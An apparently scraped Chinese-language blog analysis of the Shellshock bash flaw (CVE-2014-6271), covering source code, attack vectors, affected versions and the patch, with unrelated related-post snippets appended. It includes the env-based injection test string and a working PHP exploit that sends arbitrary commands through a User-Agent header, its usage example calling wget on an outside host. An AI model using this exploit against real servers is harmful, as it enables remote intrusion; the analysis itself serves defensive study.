CVE: 2014-6271 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

目录

1. 漏洞的起因
2. 漏洞原理分析
3. 漏洞的影响范围
4. 漏洞的POC、测试方法
5. 漏洞的修复Patch

1. 漏洞的起因

这个漏洞的起因源自于Bash(Bourne Again SHell)的ENV指令

http://ss64.com/bash/env.html

env: Display, set, or remove environment variables, Run a command in a modified environment.

Syntax
     env [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...]
1. Options
    1) -u NAME
    2) --unset=NAME
    Remove variable NAME from the environment, if it was in the environment.

    3) -i
    --ignore-environment
    Start with an empty environment, ignoring the inherited environment.

2. COMMAND [ARGS]
需要执行的指令

对这个指令,有两个关键点要注意

1. ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了黑客进行PATH Hajaking的可能性
2. ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能

Relevant Link:

http://ss64.com/bash/env.html
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
http://seclists.org/oss-sec/2014/q3/651
https://access.redhat.com/node/1200223
http://seclists.org/oss-sec/2014/q3/650
https://community.qualys.com/blogs/securitylabs/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271

2. 漏洞原理分析

虽然ENV是一个指令执行的指令,但是这并不是这次CVE漏洞的产生原因,原因在于

ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入

Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.

我们以bash-3.2版本的源代码为例进行分析

http://download.chinaunix.net/download.php?id=24862&ResourceID=7

\bash-3.2\builtins\evalstring.c

...
if (interactive_shell == 0 && read_but_dont_execute)
{
    last_result = EXECUTION_SUCCESS;
    dispose_command (global_command);
    global_command = (COMMAND *)NULL;
}
else if (command = global_command)
{
    struct fd_bitmap *bitmap;  

    /*
    这里没有对传入的command进行正确的边界检查,引入了代码注入的可能性
    */

    bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
    begin_unwind_frame ("pe_dispose");
    add_unwind_protect (dispose_fd_bitmap, bitmap);
    add_unwind_protect (dispose_command, command);    /* XXX */

    global_command = (COMMAND *)NULL;
...

\bash-3.2\variables.c

这个文件负责对bash中的变量进行解析,我们在ENV中进行的临时环境变量设置,将在这个文件中完成

/*
Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don‘t import functions from
ENV
or
parse $SHELLOPTS.
*/
void initialize_shell_variables (env, privmode) char **env; int privmode;
{
    ...
    create_variable_tables ();

    /*
    从ENV环境变量中获取参数
    */
    for (string_index = 0; string = env[string_index++]; )
    {
        char_index = 0;
        name = string;
        while ((c = *string++) && c != ‘=‘) ;
        if (string[-1] == ‘=‘)
            char_index = string - name - 1;

        /* If there are weird things in the environment, like `=xxx‘ or a
            string without an `=‘, just skip them. */
        if (char_index == 0)
            continue;

        /* ASSERT(name[char_index] == ‘=‘) */
        name[char_index] = ‘\0‘;
        /*
        Now, name = env variable name, string = env variable value, and char_index == strlen (name)
        */

        /*
        If exported function, define it now.  Don‘t import functions from the environment in privileged mode.
        解析环境变量设置中的函数定义
        */
        if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
        {
            string_length = strlen (string);
            temp_string = (char *)xmalloc (3 + string_length + char_index);

            strcpy (temp_string, name);
            temp_string[char_index] = ‘ ‘;

            strcpy (temp_string + char_index + 1, string);

            /*
            这句是关键,initialize_shell_variables对环境变量中的代码进行了执行,由于它错误的信任的外部发送的数据,形成了和SQL注入类似的场景,这句代码和PHP中的eval是类似的,黑客只要满足2个条件
            1. 控制发送的参数,并在其中拼接payload
            2. 黑客发送的包含payload的参数会被无条件的执行,而执行方不进行任何的边界检查

            这就是典型的数据和代码没有进行正确区分导致的漏洞
            */
            parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

            // Ancient backwards compatibility.  Old versions of bash exported functions like name()=() {...}
            if (name[char_index - 1] == ‘)‘ && name[char_index - 2] == ‘(‘)
                name[char_index - 2] = ‘\0‘; 

            if (temp_var = find_function (name))
            {
                VSETATTR (temp_var, (att_exported|att_imported));
                array_needs_making = 1;
            }
            else
                report_error (_("error importing function definition for `%s‘"), name);

            /* ( */
            if (name[char_index - 1] == ‘)‘ && name[char_index - 2] == ‘\0‘)
                name[char_index - 2] = ‘(‘;        /* ) */
        }
    }
}

从这个角度来看,这种漏洞应该采用防御SQL注入的思路来进行,对漏洞原理进行一下总结

1. bash(本地、ssh、cgi)允许使用ENV进行path临时设置
2. 黑客通过自定义函数,并导出到变量中
3. BASH对环境变量的设置是通过"代码执行(EVAl)"完成的,即把ENV的参数当成code来执行,这在正常情况下是没有问题的
4. 问题的关键是BASH没有对传入的参数进行正确的边界检查,导致数据和代码的混杂,产生了和PHP EVAL Code InJection类似的漏洞
env x=‘() { :;}; echo vulnerable‘
5. 代码注入的关键点在
; echo vulnerable

Relevant Link:

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052

3. 漏洞的影响范围

这个漏洞属于代码级漏洞,所以漏洞的影响范围和Bash的源代码版本有关

bash-4.2.45-5.el7_0.2
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_4.1
bash-3.2-33.el5.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-24.el5_6.1
bash-3.2-32.el5_9.2
bash-3.0-27.el4.2

4. 漏洞的POC、测试方法

0x1: 攻击的场景

要发动这个攻击,需要满足以下几个条件

1. 我们的攻击目标存在cmd执行的交互接口
    1) 本地交互shell:这是最直接的方式
    2) SSH:使用SSH进行bash执行需要你知道对方的ssh帐号密码
    3) FTP:需要对方开启了ftp cms的执行权限,已经你已经有了一个ftp的帐号密码
    4) cgi:需要对方开启了CGI的解析模块

2. 我们有办法设置目标(或者临时设置)的环境变量

3. 我们可以控制即将进行环境变量设置的参数 

根据这些先决条件,我们可以得到一些攻击向量

1. httpd
    1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源
    2) 服务器提供了CGI脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash
黑客可以通过开启了CGI的httpd服务器进行远程代码执行

2. Secure Shell (SSH)
对于git、rsync这类远程shell来说,常常会对用户可以执行的指令进行严格限制,但是这个BASH解析漏洞提供了一个bypass的向量

3. dhclient
动态主机配置协议客户端(dhclient的)被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服务器可能允许攻击者在客户机上运行任意代码。
黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改,可以达到污染dhcpclient的环境变量参数的目的,从而进行远程代码执行

4. CUPS

5. sudo

6. Firefox

0x2: 手工测试方法

poc:
env x=‘() { :;}; echo vulnerable‘  bash -c "echo this is a test"

expected result:
vulnerable
this is a test

//如果出现这个结果,则说明本机的bash存在漏洞

0x3: 自动化测试方法

<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
       GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
       Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/

Test CGI Code : #!/bin/bash
        echo "Content-type: text/html"
        echo ""
        echo "Bash-is-Vulnerable"

*/
error_reporting(0);
if(!defined(‘STDIN‘)) die("Please run it through command-line!\n");
$x  = getopt("u:c:");
if(!isset($x[‘u‘]) || !isset($x[‘c‘]))
{
die("Usage: ".$_SERVER[‘PHP_SELF‘]." -u URL -c cmd\n");

}
$url = $x[‘u‘];
$cmd = $x[‘c‘];

    $context = stream_context_create(
        array(
            ‘http‘ => array(
                ‘method‘  => ‘GET‘,
                ‘header‘  => ‘User-Agent: () { :;}; /bin/bash -c "‘.$cmd.‘"‘
            )
        )
    );

    if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)
    die("Command sent to the server!\n");
    else
    die("Connection Error\n");
?>
 

Relevant Link:

http://www.exploit-db.com/exploits/34766/

5. 漏洞的修复Patch

从攻击方法上来看,这种漏洞属于边界检查缺失导致的代码注入漏洞,所以我们的修复思路也应该从这两个方面入手

1. 进行正确的边界检查,严格区分函数定义和代码注入
2. 对输入参数进行参数化防御,不允许除了允许范围之外的参数传入

builtins/common.h

/* Flags for describe_command, shared between type.def and command.def */
#define SEVAL_FUNCDEF   0x080    /* only allow function definitions */
#define SEVAL_ONECMD  0x100    /* only allow a single command */

builtins/evalstring.c

if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
{
    internal_warning ("%s: ignoring function definition attempt", from_file);
    should_jump_to_top_level = 0;
    last_result = last_command_exit_value = EX_BADUSAGE;
    break;
}
..
if (flags & SEVAL_ONECMD)
    break;

Relevant Link:

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052

Copyright (c) 2014 LittleHann All rights reserved

时间: 2024-10-19 11:22:08

CVE: 2014-6271 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis的相关文章

[Shell&amp;Mac&amp;Environment variables]自己常用的Mac(或者说Linux)Shell命令小结,含Mac使用zsh shell的环境变量的有关配置方法

今天在使用tomcat的配置的时候,我用的mac,要是用到一些命令去配置tomcat. 问题来了: 我每次要去启动tomcat服务特别麻烦,因为我要先进入tomcat所在的文件目录,或者不进入使用~/,但是因为我把tomcat放到了一个比较“深“的文件夹里,所以命令显得又丑又长. 问题解决方案: 1.使用环境变量(修改.bashrc的方法) a.先查看自己的Mac目前正在用的是什么shell echo $SHELL 返回结果类似如下图 这里我是zsh,,也许你是bash,不过没关系,配置环境变量

linux environment variables summary.

link source: https://wiki.archlinux.org/index.php/environment_variables Setting variables: Globally: edit /etc/profile, /etc/bash.bashrc, /etc/environment. Per User: ~/.bashrc, ~/.profile, ~/.bash_login, ~/.bash_logout

[Now] Configure secrets and environment variables with Zeit’s Now

Often your project will require some secret keys or tokens - for instance, API keys or database authentication information. Learn how to safely and easily deploy secrets to now, and how to expose them as environment variables that your applications c

How to keep Environment Variables when Using SUDO

The trick is to add environment variables to sudoers file via sudo visudo command and add these lines: Defaults env_keep += "ftp_proxy http_proxy https_proxy no_proxy" from: http://stackoverflow.com/questions/8633461/how-to-keep-environment-vari

Environment Variables

https://msdn.microsoft.com/en-us/library/windows/desktop/ms682653(v=vs.85).aspx Every process has an environment block that contains a set of environment variables and their values. There are two types of environment variables: user environment varia

environment variables _ golang

Environment variables are a univerial mechanism for conveying configuration information to Unix programs. Let's look at how to set, get, and list environmant variables package main import ( "fmt" "os" "strings" ) func main()

Linux environment variables (环境变量)

Environment variables are often used to store a list of paths of where to search for executables, libraries, and so on. 环境变量通常存放一堆路径,这些路径用来搜索可执行文件.动态链接库,等等. Examples are $PATH, $LD_LIBRARY_PATH, 可以通过 echo 命令来查看: [[email protected] ~]# echo $PATH /usr

windows Environment Variables 设置

  在"System variables"新建一个Variable,如"java_home",value里填入绝对路径.之后在"User variables for username"里的path变量里添加入刚才创建的变量,以分号隔开.

Java environment variables and their functionality

1. PATH env variable It is used to search the command directory when we use the console type commands. We only can use the javac and java command anywhere after the jdk\bin and jdk\jre\bin directory have been added in to the PATH env variable. E.g. "